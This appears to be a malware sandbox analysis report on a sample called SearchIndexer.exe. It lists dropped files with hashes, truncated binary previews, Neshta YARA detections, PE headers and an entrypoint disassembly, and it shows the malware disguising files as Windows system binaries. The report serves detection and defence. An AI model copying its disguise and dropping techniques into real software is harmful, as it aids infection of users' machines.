                                                                  SSDEEP:1536:3LM14SKtpfLarGzoQWaqaQ2n5YejqSRKnYdYPgh3c//npRwM:w7KtpTjNNn5YejqSRKnYdYPgJo/pRwM
                                                                  MD5:E4FA63649F1DBD23DE91861BB39C317D
                                                                  SHA1:25F9115FAF40EC6736FACF2288CAA9B0E6AF9366
                                                                  SHA-256:CB4CD707305733ADDFCC54A69DF54A0C8D47C312D969B3E8D38B93E18CCBD8E4
                                                                  SHA-512:C4B5A9D66146D98D414BC84CD5C09588E2E02B800B21CE3172042AD7F48CC4AED54772D32C891A921FF102C0C3DB1FEAF52E4D4C714ABDB15F73BAEB9A6F5A39
                                                                  Malicious:true
                                                                  Reputation:unknown
                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .................)... ...@....@.. ..............................8.....@..................................(..S....@.......................`....................................................... ............... ..H............text...4.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................)......H..............................................................................................................................................................................................NC>.$qK...X....J................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                                  C:\Users\user\Desktop\tHZIVhBi.log

                                                                  Download File
                                                                  Process:C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):85504
                                                                  Entropy (8bit):5.8769270258874755
                                                                  Encrypted:false
                                                                  SSDEEP:1536:p7Oc/sAwP1Q1wUww6vtZNthMx4SJ2ZgjlrL7BzZZmKYT:lOc/sAwP1Q1wUwhHBMx4a2iJjBzZZm9
                                                                  MD5:E9CE850DB4350471A62CC24ACB83E859
                                                                  SHA1:55CDF06C2CE88BBD94ACDE82F3FEA0D368E7DDC6
                                                                  SHA-256:7C95D3B38114E7E4126CB63AADAF80085ED5461AB0868D2365DD6A18C946EA3A
                                                                  SHA-512:9F4CBCE086D8A32FDCAEF333C4AE522074E3DF360354822AA537A434EB43FF7D79B5AF91E12FB62D57974B9ED5B4D201DDE2C22848070D920C9B7F5AE909E2CA
                                                                  Malicious:true
                                                                  Reputation:unknown
                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....F...........e... ........@.. ...............................@....@..................................e..S.................................................................................... ............... ..H............text....E... ...F.................. ..`.rsrc................H..............@..@.reloc...............L..............@..B.................e......H.......p...(j..................................................................................c|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k

                                                                  C:\Users\user\Desktop\uWHiFCKf.log

                                                                  Download File
                                                                  Process:C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):34816
                                                                  Entropy (8bit):5.636032516496583
                                                                  Encrypted:false
                                                                  SSDEEP:384:JS7LcTqpkHdmLrBmyOLkOPXVcqTZH0uZLSHtciyBDVGehpx3ZPyp1MoCy07G7:J+CaBoXTZH0mUfoGCzpapaFy07
                                                                  MD5:996BD447A16F0A20F238A611484AFE86
                                                                  SHA1:CB0F51CE7FEEE1B5F02D3F13E60D67AF448C478D
                                                                  SHA-256:0CB182B9F8BD0804FC3BBA016926199C536BD7491BA577E089271DC1A63B07BE
                                                                  SHA-512:80924C19FAF3916DB5F71BE5723B6CB7BB7F731DBBA05B8218746F11FB9470F746B7AC581DB398E388377637811319EF8D6841504DC8EA39C510D7CFCD25184C
                                                                  Malicious:true
                                                                  Reputation:unknown
                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...v..d...........!..................... ........@.. ...............................[....@.................................l...O.................................................................................... ............... ..H............text....~... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........b...;...........a.......................................................................................................................................................................k.X...=.%Cu..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                                  C:\Users\user\Desktop\wNNHBaEp.log

                                                                  Download File
                                                                  Process:C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe
                                                                  File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):33280
                                                                  Entropy (8bit):5.634433516692816
                                                                  Encrypted:false
                                                                  SSDEEP:384:TVyNAbQWfDL/QwV/AnmqieB2Ht50uVVxg+94HoxMttjICAQgEYhfAcGQMrygg4Ty:TKWfYwV2u3xg+94HoSbTY4f2gfcab
                                                                  MD5:0D323E1CACEA89CAA5DDEAF2F37BCA69
                                                                  SHA1:4769C3E947D02A1FD548BE64013F520D571D96E1
                                                                  SHA-256:873E7688D95DCAA5468BF94063A94C548EF0D8BE9D4111F1917DA482DBC2A64C
                                                                  SHA-512:73F4EDE6D4C62997A4F11AD09A12DFD0BFD749026209E63E52F9D979F9423FDD640E96FA59D51556001C4BE22888E59C67781970649387AF090E26AC40C0C0DE
                                                                  Malicious:true
                                                                  Reputation:unknown
                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...k..d...........!.....z............... ........@.. ....................................@.................................h...S.................................................................................... ............... ..H............text....y... ...z.................. ..`.rsrc................|..............@..@.reloc..............................@..B........................H.......@`..(9..........._......................................................................................................................................................................V.4...W..e..&&................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                                  C:\Users\user\Desktop\yVVZwldW.log

                                                                  Download File
                                                                  Process:C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):33792
                                                                  Entropy (8bit):5.541771649974822
                                                                  Encrypted:false
                                                                  SSDEEP:768:VA51bYJhOlZVuS6c4UvEEXLeeG+NOInR:VJEx6f2EEbee/Bn
                                                                  MD5:2D6975FD1CC3774916D8FF75C449EE7B
                                                                  SHA1:0C3A915F80D20BFF0BB4023D86ACAF80AF30F98D
                                                                  SHA-256:75CE6EB6CDDD67D47FB7C5782F45FDC497232F87A883650BA98679F92708A986
                                                                  SHA-512:6B9792C609E0A3F729AE2F188DE49E66067E3808E5B412E6DC56A555BC95656DA62ECD07D931B05756303A65383B029E7862C04CA5EA879A3FDFB61789BD2580
                                                                  Malicious:true
                                                                  Reputation:unknown
                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....|............... ........@.. ....................................@.................................T...W.................................................................................... ............... ..H............text....z... ...|.................. ..`.rsrc................~..............@..@.reloc..............................@..B........................H.......Tl...............h..h....................................................................................................................................................................aF..g~Z........................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                                  C:\Users\user\Desktop\zAChyMGX.log

                                                                  Download File
                                                                  Process:C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):69632
                                                                  Entropy (8bit):5.932541123129161
                                                                  Encrypted:false
                                                                  SSDEEP:1536:yo63BdpcSWxaQ/RKd8Skwea/e+hTEqS/ABGegJBb07j:j+9W+p/LEqu6GegG
                                                                  MD5:F4B38D0F95B7E844DD288B441EBC9AAF
                                                                  SHA1:9CBF5C6E865AE50CEC25D95EF70F3C8C0F2A6CBF
                                                                  SHA-256:AAB95596475CA74CEDE5BA50F642D92FA029F6F74F6FAEAE82A9A07285A5FB97
                                                                  SHA-512:2300D8FC857986DC9560225DE36C221C6ECB4F98ADB954D896ED6AFF305C3A3C05F5A9F1D5EF0FC9094355D60327DDDFAFC81A455596DCD28020A9A89EF50E1A
                                                                  Malicious:true
                                                                  Reputation:unknown
                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....;.d.........." .................'... ...@....@.. ....................................@.................................\'..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......l....^..........t...............................................c|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k:..AOg.......s..t".5.

                                                                  C:\Users\user\Desktop\zpVYYBvm.log

                                                                  Download File
                                                                  Process:C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe
                                                                  File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):36352
                                                                  Entropy (8bit):5.668291349855899
                                                                  Encrypted:false
                                                                  SSDEEP:384:3+GMbUL+1FjuuGWkgoCFvMiAAsSZH14gXO9XBKeRg3U7ixu8bqMle9dCe4i2+o06:3+T93kgoCFkid/O9sU7io8b1ocl+o
                                                                  MD5:94DA5073CCC14DCF4766DF6781485937
                                                                  SHA1:57300CA6033974810B71CF1AB4F047A026924A7A
                                                                  SHA-256:B81B9FA9B7017BE34F62D30CB16BAAB33757F04CC94EF4D6459C9D3BC768FD18
                                                                  SHA-512:7D539ECED2F19166F0F6FAE6E2624C0440DEC87AA9751FA82387EECEF9945997ABAE58C886494633BA360B122BCA955B3DDAE26E5256E371A0528F48DFA17871
                                                                  Malicious:true
                                                                  Reputation:unknown
                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................................@....................................W.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......pi..T;...........g..x........................................................................................................................................................................XWJ..%.v0................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                                  C:\Users\user\Desktop\zysYIoOi.log

                                                                  Download File
                                                                  Process:C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe
                                                                  File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):342528
                                                                  Entropy (8bit):6.170134230759619
                                                                  Encrypted:false
                                                                  SSDEEP:3072:YMRFbwlz0otnh0efcZBU/fbF+pzZDrpSToDxcLQcm+xCjNS3RaCtXAOZrNM1Ge6q:uhj/zQD9SocLQDchaUXAiNM1C3HuiH
                                                                  MD5:9DADB5C8A6FD5020275C31EE6BC61D63
                                                                  SHA1:ACE09D19F7DBB98F5C844E77F29A5D86E544CCC1
                                                                  SHA-256:80E21E05386AB5BF7BCFD745146700E2A73D808CAFDE3F1DAA256D09BCF4522F
                                                                  SHA-512:EDB9F8B4A3742AFD344B3E4957CD6A8574FA82EB49B45E75627180C42B51F9C019E241D695BAF0AAA36EE6959CE297C358BC592F2EE31B0BB5EA19FEED67FC7D
                                                                  Malicious:true
                                                                  Reputation:unknown
                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...l..d.........." .....2...........P... ...`....@.. ...................................@.................................LP..O....`............................................................................... ............... ..H............text....0... ...2.................. ..`.rsrc........`.......4..............@..@.reloc...............8..............@..B.................P......H............p..................................................................................................................................................................................GJ2....mj..R...................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                                  C:\Windows\Provisioning\Packages\9a52da74613a33

                                                                  Download File
                                                                  Process:C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe
                                                                  File Type:ASCII text, with no line terminators
                                                                  Category:dropped
                                                                  Size (bytes):28
                                                                  Entropy (8bit):4.208966082694623
                                                                  Encrypted:false
                                                                  SSDEEP:3:yC1W5fXSq:OJiq
                                                                  MD5:C2BE2C4FB45FDF6B88176D62C25E474F
                                                                  SHA1:E12605A746170CA609611BDB14CD0FA8E2DC3E65
                                                                  SHA-256:693968CB8A12A1C3B4BC6D30214947256DC46CECD0BCA8DD4FE1776A61477081
                                                                  SHA-512:6AB593D440421BB66496DDB9D046EF3E2627AE0D0E16BDEC787B90AD50D743C864BD8CFA28AC2C3C996238370248BBC5D396F289A33DD1FFD1B615265A6198F4
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:7q3Pg2OuOSeOk9ub6Peog12Q1EsH

                                                                  C:\Windows\Provisioning\Packages\tAVtSoJGTaCxrZiXcJn.exe

                                                                  Download File
                                                                  Process:C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):3704832
                                                                  Entropy (8bit):7.825322353352518
                                                                  Encrypted:false
                                                                  SSDEEP:98304:TzRppqmmRX+6fo6du/5P2nPNWNG5trztTgyz+65Wz:TzRppqVDqOnVWNG5bR+65Wz
                                                                  MD5:3E3FE7663181211E5983DA48431DDF33
                                                                  SHA1:0BEA67A96DBA0798541EA15426FB0AC38C10FF06
                                                                  SHA-256:CC398C54D30B3C0C1FF1D54F03FB157578346D088C9CE38FC6347698F25FC166
                                                                  SHA-512:80056C508DADE773729C239BD0B43D92C9E6D8DE513B19776BF28665E37E44D022FD6C5F33EBFA3FE31B9480CE0705E9581D872B8E79703931DA459D4F5922A0
                                                                  Malicious:true
                                                                  Reputation:unknown
                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....R.f..................8.........n.8.. ....8...@.. ........................8...........@................................. .8.K.....8. .....................8...................................................... ............... ..H............text...t~8.. ....8................. ..`.rsrc... .....8.......8.............@....reloc........8.......8.............@..B................P.8.....H...........................z.-...8......................................0..........(.... ........8........E....q...M.......)...8l...(.... ....~....{....9....& ....8....(.... ....~....{....9....& ....8....(.... ....~....{h...9....& ....8z...*...0..>....... ........8........E....P...t...................8K...~....(E... .... .... ....s....~....(I....... ....~....{....:....& ....8....8O... ....~....{....:z...& ....8o......... ....~....{u...:U...& ....8J...r...ps....z*~....:.... .

                                                                  C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

                                                                  Download File
                                                                  Process:C:\Windows\System32\svchost.exe
                                                                  File Type:JSON data
                                                                  Category:dropped
                                                                  Size (bytes):55
                                                                  Entropy (8bit):4.306461250274409
                                                                  Encrypted:false
                                                                  SSDEEP:3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
                                                                  MD5:DCA83F08D448911A14C22EBCACC5AD57
                                                                  SHA1:91270525521B7FE0D986DB19747F47D34B6318AD
                                                                  SHA-256:2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
                                                                  SHA-512:96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

                                                                  C:\Windows\System32\CSC8B0546412F3A4425A5D7AA169F4D63A4.TMP

                                                                  Download File
                                                                  Process:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                                                  File Type:MSVC .res
                                                                  Category:dropped
                                                                  Size (bytes):1224
                                                                  Entropy (8bit):4.435108676655666
                                                                  Encrypted:false
                                                                  SSDEEP:24:OBxOysuZhN7jSjRzPNnqNdt4+lEbNFjMyi07:COulajfqTSfbNtme
                                                                  MD5:931E1E72E561761F8A74F57989D1EA0A
                                                                  SHA1:B66268B9D02EC855EB91A5018C43049B4458AB16
                                                                  SHA-256:093A39E3AB8A9732806E0DA9133B14BF5C5B9C7403C3169ABDAD7CECFF341A53
                                                                  SHA-512:1D05A9BB5FA990F83BE88361D0CAC286AC8B1A2A010DB2D3C5812FB507663F7C09AE4CADE772502011883A549F5B4E18B20ACF3FE5462901B40ABCC248C98770
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:.... ...........................|...<...............0...........|.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...T.....I.n.t.e.r.n.a.l.N.a.m.e...S.e.c.u.r.i.t.y.H.e.a.l.t.h.S.y.s.t.r.a.y...e.x.e...(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...\.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...S.e.c.u.r.i.t.y.H.e.a.l.t.h.S.y.s.t.r.a.y...e.x.e...4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0....................................<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">.. <assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>.. <trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">.. <securi

                                                                  C:\Windows\System32\SecurityHealthSystray.exe

                                                                  Download File
                                                                  Process:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):4608
                                                                  Entropy (8bit):3.9623213255193037
                                                                  Encrypted:false
                                                                  SSDEEP:48:6ipLPtyM7Jt8Bs3FJsdcV4MKe27zdiotvqBHuOulajfqXSfbNtm:5PxPc+Vx9MhtvkIcjRzNt
                                                                  MD5:70B8AD95DADC2BE99E5FFDD3BE5E91DF
                                                                  SHA1:297B0832E9D1F22103BC2FDBD02A66A60B5825E6
                                                                  SHA-256:B75D57D0EED0E71E5AA4E3AFDBF5B973015B79B86BBA9ED720688CD5B414CFE4
                                                                  SHA-512:5635220BC27103401FBD132FD65AC37F6A49E564BDE163C95E738619007C15F99330D3268A0E4453F7697C6481DEB1FA83DFB983B18E210993437D2492149B4D
                                                                  Malicious:true
                                                                  Reputation:unknown
                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...[..g.............................'... ...@....@.. ....................................@.................................l'..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......(!..D.............................................................(....*.0..!.......r...pre..p.{....(....(....&..&..*....................0..........ri..p(....&..&..*....................0..K.......s.......}...........s....s....(....~....-........s.........~....s....(....*..(....*.BSJB............v4.0.30319......l.......#~..@.......#Strings....4.......#US.........#GUID...$... ...#Blob...........WU........%3................................................................

                                                                  C:\Windows\svchost.com

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):41472
                                                                  Entropy (8bit):5.976684810818399
                                                                  Encrypted:false
                                                                  SSDEEP:768:eyxqjQl/EMQt4Oei7RwsHxyP7nbxzOQdJ:JxqjQ+P04wsmJC
                                                                  MD5:36FD5E09C417C767A952B4609D73A54B
                                                                  SHA1:299399C5A2403080A5BF67FB46FAEC210025B36D
                                                                  SHA-256:980BAC6C9AFE8EFC9C6FE459A5F77213B0D8524EB00DE82437288EB96138B9A2
                                                                  SHA-512:1813A6A5B47A9B2CD3958CF4556714AE240F2AA19D0A241B596830F0F2B89A33EC864D00CE6A791D323A58DFBFF42A0FDED65EEFBF980C92685E25C0EC415D92
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Windows\svchost.com, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Windows\svchost.com, Author: ditekSHen
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Windows\svchost.com, Author: ditekSHen
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Windows\svchost.com, Author: ditekSHen
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  \Device\Null

                                                                  Download File
                                                                  Process:C:\Windows\System32\w32tm.exe
                                                                  File Type:ASCII text
                                                                  Category:dropped
                                                                  Size (bytes):151
                                                                  Entropy (8bit):4.820148898590504
                                                                  Encrypted:false
                                                                  SSDEEP:3:VLV993J+miJWEoJ8FXAQvd7SbVpSLEKvpBVX0XXKvj:Vx993DEUpGSxpSYnX8
                                                                  MD5:8301A0B56CC402944FDAF9CE2CBE2326
                                                                  SHA1:DCA58918831C6B94D6262355DE2709EE462D7427
                                                                  SHA-256:02D77A00403D4D766C6F20721CF65689FF44AEAAAA304CE6E5F27742FA8CE537
                                                                  SHA-512:B44434C9043DF624DCEB3FC4142CFF51553AD9C1EA4EF9BD2DC4D3EECDFD87194ABAB1721807D069F4C7E32D490D8C65774A1D57166E81468C4AD17FF20C532B
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:Tracking localhost [[::1]:123]..Collecting 2 samples..The current time is 13/01/2025 08:25:57..08:25:57, error: 0x80072746.08:26:02, error: 0x80072746.

                                                                  Static File Info

                                                                  General

                                                                  File type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Entropy (8bit):7.816803699176531
                                                                  TrID:
                                                                  • Win32 Executable (generic) Net Framework (10011505/4) 49.29%
                                                                  • Win32 Executable (generic) a (10002005/4) 49.25%
                                                                  • Win32 Executable Borland Delphi 6 (262906/60) 1.29%
                                                                  • Win32 Executable Delphi generic (14689/80) 0.07%
                                                                  • Windows Screen Saver (13104/52) 0.06%
                                                                  File name:SearchIndexer.exe
                                                                  File size:3'746'304 bytes
                                                                  MD5:f2997dfb6f126670204c83344b678f0e
                                                                  SHA1:fb1a90117ff594cac3b2cebbbbd072674f246ce3
                                                                  SHA256:73b461a9d859f019ed4f0dda1e0cc86a36b826bde0f318e806503876056b41c0
                                                                  SHA512:20bd6c2e2aebf5e96f8d9497880538061f23ed8b925cf916749da16db6339a2dd2ff5166aa0c096e23f7654e5b2959d9af108cf5ccf68291cc80f8c7c2d235ad
                                                                  SSDEEP:98304:NzRppqmmRX+6fo6du/5P2nPNWNG5trztTgyz+65WzU:NzRppqVDqOnVWNG5bR+65WzU
                                                                  TLSH:C406F11A79928F32C3645B329657413D42D0DB223526EB1F351F10E66E1BBF28E726B3
                                                                  File Content Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

                                                                  File Icon

                                                                  Icon Hash:90cececece8e8eb0

                                                                  Static PE Info

                                                                  General

                                                                  Entrypoint:0x4080e4
                                                                  Entrypoint Section:CODE
                                                                  Digitally signed:false
                                                                  Imagebase:0x400000
                                                                  Subsystem:windows gui
                                                                  Image File Characteristics:EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
                                                                  DLL Characteristics:
                                                                  Time Stamp:0x2A425E19 [Fri Jun 19 22:22:17 1992 UTC]
                                                                  TLS Callbacks:
                                                                  CLR (.Net) Version:
                                                                  OS Version Major:4
                                                                  OS Version Minor:0
                                                                  File Version Major:4
                                                                  File Version Minor:0
                                                                  Subsystem Version Major:4
                                                                  Subsystem Version Minor:0
                                                                  Import Hash:9f4693fc0c511135129493f2161d1e86

                                                                  Entrypoint Preview

                                                                  Instruction
                                                                  push ebp
                                                                  mov ebp, esp
                                                                  add esp, FFFFFFE0h
                                                                  xor eax, eax
                                                                  mov dword ptr [ebp-20h], eax
                                                                  mov dword ptr [ebp-18h], eax
                                                                  mov dword ptr [ebp-1Ch], eax
                                                                  mov dword ptr [ebp-14h], eax
                                                                  mov eax, 00408054h
                                                                  call 00007F43211E0287h
                                                                  xor eax, eax
                                                                  push ebp
                                                                  push 00408220h
                                                                  push dword ptr fs:[eax]
                                                                  mov dword ptr fs:[eax], esp
                                                                  mov eax, 004091A8h
                                                                  mov ecx, 0000000Bh
                                                                  mov edx, 0000000Bh
                                                                  call 00007F43211E33D1h
                                                                  mov eax, 004091B4h
                                                                  mov ecx, 00000009h
                                                                  mov edx, 00000009h
                                                                  call 00007F43211E33BDh
                                                                  mov eax, 004091C0h
                                                                  mov ecx, 00000003h
                                                                  mov edx, 00000003h
                                                                  call 00007F43211E33A9h
                                                                  mov eax, 004091DCh
                                                                  mov ecx, 00000003h
                                                                  mov edx, 00000003h
                                                                  call 00007F43211E3395h
                                                                  mov eax, dword ptr [00409210h]
                                                                  mov ecx, 0000000Bh
                                                                  mov edx, 0000000Bh
                                                                  call 00007F43211E3381h
                                                                  call 00007F43211E33D8h
                                                                  lea edx, dword ptr [ebp-14h]
                                                                  xor eax, eax
                                                                  call 00007F43211E0CC2h
                                                                  mov eax, dword ptr [ebp-14h]
                                                                  call 00007F43211E1256h
                                                                  cmp eax, 0000A200h
                                                                  jle 00007F43211E4477h
                                                                  call 00007F43211E3956h
                                                                  call 00007F43211E4169h
                                                                  mov eax, 004091C4h
                                                                  mov ecx, 00000003h
                                                                  mov edx, 00000003h

                                                                  Data Directories

                                                                  NameVirtual AddressVirtual Size Is in Section
                                                                  IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                                  IMAGE_DIRECTORY_ENTRY_IMPORT0x150000x864.idata
                                                                  IMAGE_DIRECTORY_ENTRY_RESOURCE0x190000x1400.rsrc
                                                                  IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                                  IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                                  IMAGE_DIRECTORY_ENTRY_BASERELOC0x180000x5cc.reloc
                                                                  IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                                                  IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                  IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                  IMAGE_DIRECTORY_ENTRY_TLS0x170000x18.rdata
                                                                  IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                                  IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                  IMAGE_DIRECTORY_ENTRY_IAT0x00x0
                                                                  IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                                  IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                                  IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                                  Sections

                                                                  NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                  CODE0x10000x722c0x7400ca3464d4f08c9010e7ffa2fe3e890344False0.6173558728448276data6.511672174892103IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                                  DATA0x90000x2180x4007ffc3168a7f3103634abdf3a768ed128False0.3623046875data3.1516983405583385IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                  BSS0xa0000xa8990x0d41d8cd98f00b204e9800998ecf8427eFalse0empty0.0IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                  .idata0x150000x8640xa006e7a45521bfca94f1e506361f70e7261False0.37421875data4.173859768945439IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                  .tls0x160000x80x0d41d8cd98f00b204e9800998ecf8427eFalse0empty0.0IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                  .rdata0x170000x180x2007e6c0f4f4435abc870eb550d5072bad6False0.05078125data0.2069200177871819IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
                                                                  .reloc0x180000x5cc0x60016968c66d220638496d6b095f21de777False0.8483072916666666data6.443093465893509IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
                                                                  .rsrc0x190000x14000x14000bda792e1a4385a8c5dce49ce9bdec9eFalse0.1302734375data1.296744017426327IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ

                                                                  Resources

                                                                  NameRVASizeTypeLanguageCountryZLIB Complexity
                                                                  RT_ICON0x191500x10a8dataRussianRussia0.006332082551594747
                                                                  RT_RCDATA0x1a1f80x10data1.5
                                                                  RT_RCDATA0x1a2080xacdata1.063953488372093
